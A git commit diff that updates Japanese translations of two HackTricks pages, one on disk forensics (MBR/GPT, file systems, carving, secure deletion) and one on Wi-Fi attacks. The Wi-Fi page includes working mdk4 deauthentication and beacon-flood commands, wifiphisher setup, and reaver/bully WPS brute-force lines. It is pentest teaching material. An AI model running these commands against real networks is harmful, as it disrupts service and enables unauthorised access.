mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/basic-forensic-meth
This commit is contained in:
parent
81868fb359
commit
3a24269f55
@ -9,7 +9,7 @@
|
||||
|
||||
### MBR(マスターブートレコード)
|
||||
|
||||
これは**ブートコードの446Bの後のディスクの最初のセクターに割り当てられています**。このセクターは、PCにどのパーティションをどこからマウントするかを示すために不可欠です。\
|
||||
これは**ブートコードの446Bの後のディスクの最初のセクターに割り当てられています**。このセクターは、PCにパーティションをどのように、どこからマウントするかを示すために重要です。\
|
||||
最大で**4つのパーティション**を許可します(**アクティブ/ブート可能**なのは最大で**1つ**のみ)。ただし、より多くのパーティションが必要な場合は、**拡張パーティション**を使用できます。この最初のセクターの**最終バイト**はブートレコード署名**0x55AA**です。アクティブとしてマークできるパーティションは1つだけです。\
|
||||
MBRは**最大2.2TB**を許可します。
|
||||
|
||||
@ -38,16 +38,16 @@ MBRの**バイト440から443**の間には**Windowsディスク署名**が見
|
||||
| ------------ | -------- | ---------------------------------------------------------- |
|
||||
| 0 (0x00) | 1 (0x01) | アクティブフラグ (0x80 = ブート可能) |
|
||||
| 1 (0x01) | 1 (0x01) | 開始ヘッド |
|
||||
| 2 (0x02) | 1 (0x01) | 開始セクター(ビット0-5);シリンダの上位ビット(6-7) |
|
||||
| 2 (0x02) | 1 (0x01) | 開始セクター(ビット0-5);シリンダの上位ビット(6-7) |
|
||||
| 3 (0x03) | 1 (0x01) | 開始シリンダの最下位8ビット |
|
||||
| 4 (0x04) | 1 (0x01) | パーティションタイプコード (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | 終了ヘッド |
|
||||
| 6 (0x06) | 1 (0x01) | 終了セクター(ビット0-5);シリンダの上位ビット(6-7) |
|
||||
| 7 (0x07) | 1 (0x01) | 終了シリンダの最下位8ビット |
|
||||
| 8 (0x08) | 4 (0x04) | パーティション前のセクター(リトルエンディアン) |
|
||||
| 8 (0x08) | 4 (0x04) | パーティション前のセクター(リトルエンディアン) |
|
||||
| 12 (0x0C) | 4 (0x04) | パーティション内のセクター |
|
||||
|
||||
LinuxでMBRをマウントするには、まず開始オフセットを取得する必要があります(`fdisk`と`p`コマンドを使用できます)
|
||||
LinuxでMBRをマウントするには、最初に開始オフセットを取得する必要があります(`fdisk`と`p`コマンドを使用できます)
|
||||
|
||||
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
@ -60,24 +60,24 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
```
|
||||
**LBA (論理ブロックアドレッシング)**
|
||||
|
||||
**論理ブロックアドレッシング** (**LBA**) は、コンピュータストレージデバイスに保存されたデータブロックの位置を指定するために使用される一般的なスキームで、通常はハードディスクドライブなどの二次ストレージシステムです。LBAは特にシンプルな線形アドレッシングスキームであり、**ブロックは整数インデックスによって位置付けられ**、最初のブロックはLBA 0、2番目はLBA 1、というように続きます。
|
||||
**論理ブロックアドレッシング** (**LBA**) は、コンピュータストレージデバイスに保存されたデータブロックの**位置を指定するために使用される一般的なスキーム**であり、一般的にはハードディスクドライブなどの二次ストレージシステムで使用されます。LBAは特にシンプルな線形アドレッシングスキームであり、**ブロックは整数インデックスによって位置付けられ**、最初のブロックはLBA 0、2番目はLBA 1、というように続きます。
|
||||
|
||||
### GPT (GUIDパーティションテーブル)
|
||||
|
||||
GUIDパーティションテーブル、通称GPTは、MBR(マスターブートレコード)と比較してその強化された機能のために好まれています。GPTは、**パーティションのためのグローバルに一意の識別子**を持つことで際立っています。
|
||||
GUIDパーティションテーブル、通称GPTは、MBR(マスターブートレコード)と比較してその強化された機能のために好まれています。GPTは、パーティションのための**グローバルに一意の識別子**を持つことが特徴で、いくつかの点で際立っています:
|
||||
|
||||
- **位置とサイズ**: GPTとMBRは両方とも**セクター0**から始まります。しかし、GPTは**64ビット**で動作し、MBRは32ビットです。
|
||||
- **位置とサイズ**: GPTとMBRは両方とも**セクター0**から始まります。しかし、GPTは**64ビット**で動作し、MBRの32ビットとは対照的です。
|
||||
- **パーティション制限**: GPTはWindowsシステムで最大**128パーティション**をサポートし、最大**9.4ZB**のデータを収容できます。
|
||||
- **パーティション名**: 最大36のUnicode文字でパーティションに名前を付けることができます。
|
||||
|
||||
**データの耐障害性と回復**:
|
||||
|
||||
- **冗長性**: MBRとは異なり、GPTはパーティショニングとブートデータを単一の場所に制限しません。このデータをディスク全体に複製し、データの整合性と耐障害性を向上させます。
|
||||
- **冗長性**: MBRとは異なり、GPTはパーティショニングとブートデータを単一の場所に制限しません。ディスク全体にこのデータを複製し、データの整合性と耐障害性を向上させます。
|
||||
- **循環冗長検査 (CRC)**: GPTはデータの整合性を確保するためにCRCを使用します。データの破損を積極的に監視し、検出された場合、GPTは別のディスク位置から破損したデータを回復しようとします。
|
||||
|
||||
**保護MBR (LBA0)**:
|
||||
|
||||
- GPTは保護MBRを通じて後方互換性を維持します。この機能はレガシーMBRスペースに存在しますが、古いMBRベースのユーティリティが誤ってGPTディスクを上書きするのを防ぐように設計されており、GPTフォーマットのディスク上のデータ整合性を保護します。
|
||||
- GPTは保護MBRを通じて後方互換性を維持します。この機能はレガシーMBRスペースに存在しますが、古いMBRベースのユーティリティが誤ってGPTディスクを上書きするのを防ぐように設計されており、したがってGPTフォーマットのディスク上のデータの整合性を保護します。
|
||||
|
||||
.png>)
|
||||
|
||||
@ -85,42 +85,42 @@ GUIDパーティションテーブル、通称GPTは、MBR(マスターブー
|
||||
|
||||
[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
**BIOS**サービスを介して**GPTベースのブート**をサポートするオペレーティングシステムでは、最初のセクターは**ブートローダー**コードの最初のステージを保存するためにも使用される可能性がありますが、**GPT** **パーティション**を認識するように**修正**されています。MBRのブートローダーは、512バイトのセクターサイズを仮定してはなりません。
|
||||
**EFI**ではなく**BIOS**サービスを介して**GPTベースのブート**をサポートするオペレーティングシステムでは、最初のセクターは**ブートローダー**コードの最初のステージを保存するためにも使用される可能性がありますが、**GPT** **パーティション**を認識するように**修正**されています。MBRのブートローダーは、512バイトのセクターサイズを仮定してはなりません。
|
||||
|
||||
**パーティションテーブルヘッダー (LBA 1)**
|
||||
|
||||
[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
パーティションテーブルヘッダーは、ディスク上の使用可能なブロックを定義します。また、パーティションテーブルを構成するパーティションエントリの数とサイズを定義します(テーブルのオフセット80および84)。
|
||||
パーティションテーブルヘッダーは、ディスク上の使用可能なブロックを定義します。また、パーティションテーブルを構成するパーティションエントリの数とサイズを定義します(テーブル内のオフセット80および84)。
|
||||
|
||||
| オフセット | 長さ | 内容 |
|
||||
| オフセット | 長さ | 内容 |
|
||||
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0 (0x00) | 8バイト | シグネチャ ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h または 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)リトルエンディアンマシン上) |
|
||||
| 0 (0x00) | 8バイト | シグネチャ ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h または 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)リトルエンディアンマシン上) |
|
||||
| 8 (0x08) | 4バイト | バージョン 1.0 (00h 00h 01h 00h) for UEFI 2.8 |
|
||||
| 12 (0x0C) | 4バイト | ヘッダーサイズ(リトルエンディアン、バイト単位、通常は5Ch 00h 00h 00hまたは92バイト) |
|
||||
| 16 (0x10) | 4バイト | [CRC32](https://en.wikipedia.org/wiki/CRC32) ヘッダーのCRC(オフセット +0 からヘッダーサイズまで)リトルエンディアン、計算中にこのフィールドはゼロにされます |
|
||||
| 20 (0x14) | 4バイト | 予約; ゼロでなければならない |
|
||||
| 16 (0x10) | 4バイト | ヘッダーの[CRC32](https://en.wikipedia.org/wiki/CRC32)(オフセット +0 からヘッダーサイズまで)リトルエンディアンで、このフィールドは計算中にゼロにされます |
|
||||
| 20 (0x14) | 4バイト | 予約; ゼロでなければなりません |
|
||||
| 24 (0x18) | 8バイト | 現在のLBA(このヘッダーコピーの位置) |
|
||||
| 32 (0x20) | 8バイト | バックアップLBA(他のヘッダーコピーの位置) |
|
||||
| 40 (0x28) | 8バイト | パーティションのための最初の使用可能LBA(プライマリパーティションテーブルの最後のLBA + 1) |
|
||||
| 48 (0x30) | 8バイト | 最後の使用可能LBA(セカンダリパーティションテーブルの最初のLBA − 1) |
|
||||
| 56 (0x38) | 16バイト | ディスクGUID(混合エンディアン) |
|
||||
| 56 (0x38) | 16バイト | ディスクGUID(ミックスエンディアン) |
|
||||
| 72 (0x48) | 8バイト | パーティションエントリの配列の開始LBA(常にプライマリコピーで2) |
|
||||
| 80 (0x50) | 4バイト | 配列内のパーティションエントリの数 |
|
||||
| 84 (0x54) | 4バイト | 単一のパーティションエントリのサイズ(通常は80hまたは128) |
|
||||
| 88 (0x58) | 4バイト | リトルエンディアンのパーティションエントリ配列のCRC32 |
|
||||
| 92 (0x5C) | \* | 予約; ブロックの残りの部分はゼロでなければならない(512バイトのセクターサイズの場合420バイト; ただし、より大きなセクターサイズではより多くなる可能性があります) |
|
||||
| 92 (0x5C) | \* | 予約; ブロックの残りの部分はゼロでなければなりません(512バイトのセクターサイズの場合420バイト; ただし、より大きなセクターサイズではより多くなる可能性があります) |
|
||||
|
||||
**パーティションエントリ (LBA 2–33)**
|
||||
|
||||
| GUIDパーティションエントリフォーマット | | |
|
||||
| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
|
||||
| オフセット | 長さ | 内容 |
|
||||
| 0 (0x00) | 16バイト | [パーティションタイプGUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs)(混合エンディアン) |
|
||||
| 16 (0x10) | 16バイト | 一意のパーティションGUID(混合エンディアン) |
|
||||
| 0 (0x00) | 16バイト | [パーティションタイプGUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs)(ミックスエンディアン) |
|
||||
| 16 (0x10) | 16バイト | 一意のパーティションGUID(ミックスエンディアン) |
|
||||
| 32 (0x20) | 8バイト | 最初のLBA([リトルエンディアン](https://en.wikipedia.org/wiki/Little_endian)) |
|
||||
| 40 (0x28) | 8バイト | 最後のLBA(含む、通常は奇数) |
|
||||
| 48 (0x30) | 8バイト | 属性フラグ(例: ビット60は読み取り専用を示す) |
|
||||
| 48 (0x30) | 8バイト | 属性フラグ(例:ビット60は読み取り専用を示す) |
|
||||
| 56 (0x38) | 72バイト | パーティション名(36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LEコードユニット) |
|
||||
|
||||
**パーティションタイプ**
|
||||
@ -131,11 +131,11 @@ GUIDパーティションテーブル、通称GPTは、MBR(マスターブー
|
||||
|
||||
### 検査
|
||||
|
||||
[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)を使用してフォレンジックイメージをマウントした後、Windowsツール[**Active Disk Editor**](https://www.disk-editor.org/index.html)**を使用して最初のセクターを検査できます。** 次の画像では、**セクター0**で**MBR**が検出され、解釈されました:
|
||||
[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)を使用してフォレンジックイメージをマウントした後、Windowsツール[**Active Disk Editor**](https://www.disk-editor.org/index.html)**を使用して最初のセクターを検査できます**。次の画像では、**セクター0**で**MBR**が検出され、解釈されました:
|
||||
|
||||
.png>)
|
||||
|
||||
それが**MBRの代わりにGPTテーブル**であった場合、**セクター1**にシグネチャ_EFI PART_が表示されるはずです(前の画像では空です)。
|
||||
それが**MBRの代わりにGPTテーブル**であった場合、**セクター1**に_EFI PART_というシグネチャが表示されるはずです(前の画像では空です)。
|
||||
|
||||
## ファイルシステム
|
||||
|
||||
@ -153,9 +153,9 @@ GUIDパーティションテーブル、通称GPTは、MBR(マスターブー
|
||||
|
||||
ファイルシステムの基本的なストレージ単位は**クラスター、通常は512B**であり、複数のセクターで構成されています。FATはバージョンを通じて進化してきました:
|
||||
|
||||
- **FAT12**、12ビットのクラスターアドレスをサポートし、最大4078クラスター(UNIXでは4084)を処理します。
|
||||
- **FAT16**、16ビットアドレスに拡張され、最大65,517クラスターを収容します。
|
||||
- **FAT32**、32ビットアドレスでさらに進化し、ボリュームごとに驚異的な268,435,456クラスターを許可します。
|
||||
- **FAT12**は、12ビットのクラスターアドレスをサポートし、最大4078クラスター(UNIXでは4084)を処理します。
|
||||
- **FAT16**は、16ビットアドレスに拡張され、最大65,517クラスターを収容します。
|
||||
- **FAT32**は、32ビットアドレスでさらに進化し、ボリュームごとに驚異的な268,435,456クラスターを許可します。
|
||||
|
||||
FATバージョン全体に共通する重要な制限は、**最大ファイルサイズ4GB**であり、これはファイルサイズストレージに使用される32ビットフィールドによって課せられています。
|
||||
|
||||
@ -169,11 +169,11 @@ FATバージョン全体に共通する重要な制限は、**最大ファイル
|
||||
|
||||
### EXT
|
||||
|
||||
**Ext2**は、**ジャーナリング**しないパーティション(**あまり変更されないパーティション**)に最も一般的なファイルシステムであり、ブートパーティションのようなものです。**Ext3/4**は**ジャーナリング**を行い、通常は**残りのパーティション**に使用されます。
|
||||
**Ext2**は、**ジャーナリング**しないパーティション(**あまり変更されないパーティション**)に最も一般的に使用されるファイルシステムです。**Ext3/4**は**ジャーナリング**を行い、通常は**残りのパーティション**に使用されます。
|
||||
|
||||
## **メタデータ**
|
||||
|
||||
いくつかのファイルにはメタデータが含まれています。この情報はファイルの内容に関するものであり、ファイルタイプによってはアナリストにとって興味深い情報を持っている場合があります。例えば、以下のような情報が含まれることがあります:
|
||||
一部のファイルにはメタデータが含まれています。この情報はファイルの内容に関するものであり、ファイルタイプによってはアナリストにとって興味深い情報を持っている場合があります。例えば、以下のような情報が含まれることがあります:
|
||||
|
||||
- タイトル
|
||||
- 使用されたMS Officeバージョン
|
||||
@ -189,7 +189,7 @@ FATバージョン全体に共通する重要な制限は、**最大ファイル
|
||||
|
||||
### ログされた削除ファイル
|
||||
|
||||
前述のように、ファイルが「削除」された後でも、いくつかの場所にファイルがまだ保存されています。これは通常、ファイルシステムからファイルを削除することは単に削除としてマークするだけで、データは触れられないためです。そのため、ファイルのレジストリ(MFTのような)を検査し、削除されたファイルを見つけることが可能です。
|
||||
前述のように、ファイルが「削除」された後でも、ファイルがまだ保存されている場所がいくつかあります。これは、通常、ファイルシステムからファイルを削除することは単に削除されたとマークするだけで、データは触れられないためです。したがって、ファイルのレジストリ(MFTのような)を検査し、削除されたファイルを見つけることが可能です。
|
||||
|
||||
また、OSは通常、ファイルシステムの変更やバックアップに関する多くの情報を保存しているため、それらを使用してファイルまたはできるだけ多くの情報を回復しようとすることが可能です。
|
||||
|
||||
@ -199,11 +199,11 @@ file-data-carving-recovery-tools.md
|
||||
|
||||
### **ファイルカービング**
|
||||
|
||||
**ファイルカービング**は、**データの塊の中からファイルを見つけようとする技術**です。このようなツールが機能する主な方法は3つあります:**ファイルタイプのヘッダーとフッターに基づく**、ファイルタイプの**構造に基づく**、および**コンテンツ自体に基づく**。
|
||||
**ファイルカービング**は、**データの塊の中からファイルを見つけようとする技術**です。このようなツールが機能する主な方法は3つあります:**ファイルタイプのヘッダーとフッターに基づく**、ファイルタイプの**構造に基づく**、および**コンテンツ**自体に基づくものです。
|
||||
|
||||
この技術は**断片化されたファイルを回収するためには機能しない**ことに注意してください。ファイルが**連続したセクターに保存されていない**場合、この技術はそれを見つけることができないか、少なくともその一部を見つけることができません。
|
||||
|
||||
ファイルカービングのために使用できるツールはいくつかあり、検索したいファイルタイプを指定できます。
|
||||
ファイルカービングのために、検索したいファイルタイプを指定するいくつかのツールがあります。
|
||||
|
||||
{{#ref}}
|
||||
file-data-carving-recovery-tools.md
|
||||
@ -220,8 +220,8 @@ file-data-carving-recovery-tools.md
|
||||
|
||||
### セキュア削除
|
||||
|
||||
明らかに、ファイルやそのログの一部を**「安全に」削除する**方法があります。例えば、ファイルの内容をジャンクデータで何度も**上書き**し、その後**$MFT**や**$LOGFILE**からファイルに関する**ログ**を**削除**し、**ボリュームシャドウコピー**を**削除**することが可能です。\
|
||||
このアクションを実行しても、**ファイルの存在がまだログされている他の部分があるかもしれない**ことに気付くかもしれませんが、それは真実であり、フォレンジック専門家の仕事の一部はそれらを見つけることです。
|
||||
明らかに、ファイルやそのログの一部を**「安全に」削除する**方法があります。例えば、ファイルの内容をジャンクデータで数回上書きし、その後**$MFT**や**$LOGFILE**からファイルに関する**ログ**を**削除**し、**ボリュームシャドウコピー**を**削除**することが可能です。\
|
||||
このアクションを実行しても、**ファイルの存在がまだログされている他の部分があるかもしれない**ことに気付くかもしれません。それは真実であり、フォレンジック専門家の仕事の一部はそれらを見つけることです。
|
||||
|
||||
## 参考文献
|
||||
|
||||
@ -229,6 +229,6 @@ file-data-carving-recovery-tools.md
|
||||
- [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
|
||||
- [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
|
||||
- [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
|
||||
- **iHackLabs認定デジタルフォレンジックWindows**
|
||||
- **iHackLabs Certified Digital Forensics Windows**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -45,7 +45,7 @@ v1s1t0r1sh3r3/airgeddon
|
||||
```
|
||||
### wifiphisher
|
||||
|
||||
Evil Twin、KARMA、既知ビーコン攻撃を実行し、フィッシングテンプレートを使用してネットワークの本当のパスワードを取得したり、ソーシャルネットワークの認証情報をキャプチャしたりすることができます。
|
||||
Evil Twin、KARMA、および既知のビーコン攻撃を実行し、その後フィッシングテンプレートを使用してネットワークの実際のパスワードを取得したり、ソーシャルネットワークの認証情報をキャプチャしたりすることができます。
|
||||
```bash
|
||||
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
|
||||
cd wifiphisher # Switch to tool's directory
|
||||
@ -56,22 +56,22 @@ sudo python setup.py install # Install any dependencies
|
||||
このツールは**WPS/WEP/WPA-PSK**攻撃を自動化します。自動的に以下を行います:
|
||||
|
||||
- インターフェースをモニターモードに設定
|
||||
- 可能なネットワークをスキャン - 被害者を選択できるようにします
|
||||
- 可能なネットワークをスキャン - 被害者を選択できます
|
||||
- WEPの場合 - WEP攻撃を開始
|
||||
- WPA-PSKの場合
|
||||
- WPSの場合:Pixie dust攻撃とブルートフォース攻撃(ブルートフォース攻撃は時間がかかる可能性があるため注意してください)。ヌルPINやデータベース/生成されたPINを試みないことに注意してください。
|
||||
- APからPMKIDをキャプチャしてクラックを試みる
|
||||
- APのクライアントを非認証にしてハンドシェイクをキャプチャする
|
||||
- PMKIDまたはハンドシェイクがあれば、上位5000のパスワードを使用してブルートフォースを試みる。
|
||||
- PMKIDまたはハンドシェイクがある場合、上位5000のパスワードを使用してブルートフォースを試みる。
|
||||
|
||||
## 攻撃の概要
|
||||
|
||||
- **DoS**
|
||||
- 非認証/非関連 -- すべての人を切断(または特定のESSID/クライアント)
|
||||
- ランダムな偽AP -- ネットワークを隠す、スキャナーをクラッシュさせる可能性
|
||||
- ランダムな偽AP -- ネットを隠す、スキャナーをクラッシュさせる可能性
|
||||
- APをオーバーロード -- APを殺そうとする(通常あまり役に立たない)
|
||||
- WIDS -- IDSで遊ぶ
|
||||
- TKIP, EAPOL -- 一部のAPに対する特定のDoS攻撃
|
||||
- TKIP, EAPOL -- 一部のAPに対するDoS攻撃
|
||||
- **クラック**
|
||||
- **WEP**をクラック(いくつかのツールと方法)
|
||||
- **WPA-PSK**
|
||||
@ -95,7 +95,7 @@ sudo python setup.py install # Install any dependencies
|
||||
|
||||
**説明は** [**こちら**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||||
|
||||
**非認証**攻撃は、Wi-Fiハッキングで一般的な手法であり、「管理」フレームを偽造して**ネットワークからデバイスを強制的に切断**します。これらの暗号化されていないパケットは、クライアントに正当なネットワークからのものであると信じ込ませ、攻撃者がクラック目的でWPAハンドシェイクを収集したり、ネットワーク接続を持続的に妨害したりすることを可能にします。この戦術は、その単純さにおいて驚くべきものであり、広く使用されており、ネットワークセキュリティに重大な影響を与えます。
|
||||
**非認証**攻撃は、Wi-Fiハッキングで一般的な手法であり、「管理」フレームを偽造して**デバイスをネットワークから強制的に切断**します。これらの暗号化されていないパケットは、クライアントに正当なネットワークからのものであると信じ込ませ、攻撃者がクラック目的でWPAハンドシェイクを収集したり、ネットワーク接続を持続的に妨害したりすることを可能にします。この戦術は、その単純さにおいて驚くべきものであり、広く使用されており、ネットワークセキュリティに重大な影響を与えます。
|
||||
|
||||
**Aireplay-ngを使用した非認証**
|
||||
```
|
||||
@ -124,9 +124,9 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
||||
|
||||
**ここに** [**あります**](https://en.kali.tools/?p=864)**.**
|
||||
|
||||
**攻撃モード b: ビーコ flood**
|
||||
**攻撃モード b: ビーコントラフィックの洪水**
|
||||
|
||||
クライアントに偽のAPを表示するためにビーコフレームを送信します。これにより、ネットワークスキャナーやドライバーがクラッシュすることがあります!
|
||||
クライアントに偽のAPを表示するためにビーコントラフィックを送信します。これにより、ネットワークスキャナーやドライバーがクラッシュすることがあります!
|
||||
```bash
|
||||
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
|
||||
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
|
||||
@ -150,7 +150,7 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
|
||||
|
||||
**ATTACK MODE m: Michael Countermeasures Exploitation**
|
||||
|
||||
ランダムまたは重複したパケットを異なるQoSキューに送信することで、**TKIP APs**上でMichael Countermeasuresをトリガーし、1分間のAPシャットダウンを引き起こすことができます。この方法は、効率的な**DoS**(サービス拒否)攻撃戦術です。
|
||||
ランダムまたは重複したパケットを異なるQoSキューに送信することで、**TKIP APs**上でマイケル対策をトリガーし、1分間のAPシャットダウンを引き起こすことがあります。この方法は、効率的な**DoS**(サービス拒否)攻撃戦術です。
|
||||
```bash
|
||||
# -t <BSSID> of a TKIP AP
|
||||
# -j use inteligent replay to create the DoS
|
||||
@ -169,14 +169,14 @@ mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
||||
|
||||
**ATTACK MODE w: WIDS 混乱**
|
||||
|
||||
クライアントを複数の WDS ノードや偽のローグ AP にクロス接続することで、侵入検知および防止システムを操作し、混乱を引き起こし、システムの悪用の可能性を生み出すことができます。
|
||||
クライアントを複数の WDS ノードや偽のロゲ AP にクロス接続することで、侵入検知および防止システムを操作し、混乱やシステムの悪用の可能性を生み出すことができます。
|
||||
```bash
|
||||
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
|
||||
mkd4 -e <SSID> -c <channel> [-z]
|
||||
```
|
||||
**ATTACK MODE f: Packet Fuzzer**
|
||||
|
||||
パケット操作のための多様なパケットソースと包括的な修飾子セットを備えたパケットファズァ。
|
||||
多様なパケットソースとパケット操作のための包括的な修飾子を備えたパケットファズァ。
|
||||
|
||||
### **Airggedon**
|
||||
|
||||
@ -186,18 +186,18 @@ _**Airgeddon**_ は、前のコメントで提案されたほとんどの攻撃
|
||||
|
||||
## WPS
|
||||
|
||||
WPS (Wi-Fi Protected Setup) は、デバイスをルーターに接続するプロセスを簡素化し、**WPA** または **WPA2** Personal で暗号化されたネットワークのセットアップ速度と容易さを向上させます。WEPセキュリティに対しては効果がありません。WPSは8桁のPINを使用し、2つの半分で検証されるため、組み合わせの数が限られている(11,000通り)ため、ブルートフォース攻撃に対して脆弱です。
|
||||
WPS (Wi-Fi Protected Setup) は、デバイスをルーターに接続するプロセスを簡素化し、**WPA** または **WPA2** Personal で暗号化されたネットワークのセットアップ速度と容易さを向上させます。WEPセキュリティに対しては効果がありません。WPSは8桁のPINを使用し、2つの半分で検証されるため、組み合わせの数が限られている(11,000の可能性)ため、ブルートフォース攻撃に対して脆弱です。
|
||||
|
||||
### WPS Bruteforce
|
||||
|
||||
このアクションを実行するための主なツールは2つあります:Reaver と Bully。
|
||||
|
||||
- **Reaver** は、WPSに対する堅牢で実用的な攻撃として設計されており、さまざまなアクセスポイントやWPS実装に対してテストされています。
|
||||
- **Reaver** は、WPSに対する堅牢で実用的な攻撃として設計されており、さまざまなアクセスポイントとWPS実装に対してテストされています。
|
||||
- **Bully** は、Cで書かれたWPSブルートフォース攻撃の**新しい実装**です。元のReaverコードに対していくつかの利点があります:依存関係が少ない、メモリとCPUのパフォーマンスが向上、エンディアンの正しい処理、より堅牢なオプションセット。
|
||||
|
||||
この攻撃は、**WPS PINの脆弱性**を利用し、特に最初の4桁の数字の露出と最後の桁のチェックサムとしての役割がブルートフォース攻撃を容易にします。しかし、攻撃者のMACアドレスを**ブロックする**などのブルートフォース攻撃に対する防御は、攻撃を続けるために**MACアドレスのローテーション**を要求します。
|
||||
この攻撃は、**WPS PINの脆弱性**を利用し、特に最初の4桁の数字の露出と最後の桁のチェックサムとしての役割がブルートフォース攻撃を容易にします。しかし、攻撃者の攻撃を防ぐためのブルートフォース攻撃に対する防御策、例えば**攻撃者のMACアドレスをブロックする**ことは、攻撃を続けるために**MACアドレスのローテーション**を要求します。
|
||||
|
||||
BullyやReaverのようなツールを使用してWPS PINを取得すると、攻撃者はWPA/WPA2 PSKを推測でき、**持続的なネットワークアクセス**を確保します。
|
||||
BullyやReaverのようなツールでWPS PINを取得すると、攻撃者はWPA/WPA2 PSKを推測でき、**持続的なネットワークアクセス**を確保します。
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
||||
@ -206,14 +206,14 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
||||
|
||||
この洗練されたアプローチは、既知の脆弱性を利用してWPS PINをターゲットにします:
|
||||
|
||||
1. **事前に発見されたPIN**:特定のメーカーに関連する既知のPINのデータベースを利用します。これらのメーカーは均一なWPS PINを使用することで知られています。このデータベースは、MACアドレスの最初の3オクテットとこれらのメーカーの可能性のあるPINを関連付けます。
|
||||
1. **事前発見されたPIN**:特定のメーカーに関連する既知のPINのデータベースを利用します。これらのメーカーは均一なWPS PINを使用することで知られています。このデータベースは、MACアドレスの最初の3オクテットとこれらのメーカーの可能性のあるPINを関連付けます。
|
||||
2. **PIN生成アルゴリズム**:APのMACアドレスに基づいてWPS PINを計算するComputePINやEasyBoxのようなアルゴリズムを活用します。Arcadyanアルゴリズムは、PIN生成プロセスにレイヤーを追加するためにデバイスIDも必要です。
|
||||
|
||||
### WPSピクシーダスト攻撃
|
||||
|
||||
**ドミニク・ボンガール**は、秘密コードの作成に関するいくつかのアクセスポイント(AP)の欠陥を発見しました。これらは**ノンス**(**E-S1**および**E-S2**)として知られています。これらのノンスが特定できれば、APのWPS PINを解読するのは簡単になります。APは、正当であり偽の(ロゲ)APではないことを証明するために、特別なコード(ハッシュ)内にPINを公開します。これらのノンスは、WPS PINを保持する「金庫」を解錠するための「鍵」として機能します。これに関する詳細は[こちら](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)で確認できます。
|
||||
**ドミニク・ボンガール**は、秘密コードの作成に関するいくつかのアクセスポイント(AP)の欠陥を発見しました。これらは**ノンス**(**E-S1**および**E-S2**)として知られています。これらのノンスが特定できれば、APのWPS PINを解読するのが容易になります。APは、正当であり偽の(ロゲ)APではないことを証明するために、特別なコード(ハッシュ)内にPINを公開します。これらのノンスは、WPS PINを保持する「金庫」を解錠するための「鍵」として機能します。これに関する詳細は[こちら](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)で確認できます。
|
||||
|
||||
簡単に言うと、問題は、一部のAPが接続プロセス中にPINを暗号化するために十分にランダムな鍵を使用しなかったことです。これにより、PINがネットワーク外から推測される脆弱性が生じます(オフラインブルートフォース攻撃)。
|
||||
簡単に言うと、問題は、一部のAPが接続プロセス中にPINを暗号化するために十分にランダムな鍵を使用していなかったことです。これにより、PINがネットワーク外から推測される脆弱性が生じます(オフラインブルートフォース攻撃)。
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
||||
@ -256,13 +256,13 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
||||
|
||||
2018年、**hashcat**は[新しい攻撃方法](https://hashcat.net/forum/thread-7717.html)を明らかにしました。この方法は、**1つのパケット**だけを必要とし、ターゲットAPに接続されているクライアントを必要としないため、ユニークです—攻撃者とAPの間の相互作用だけが必要です。
|
||||
|
||||
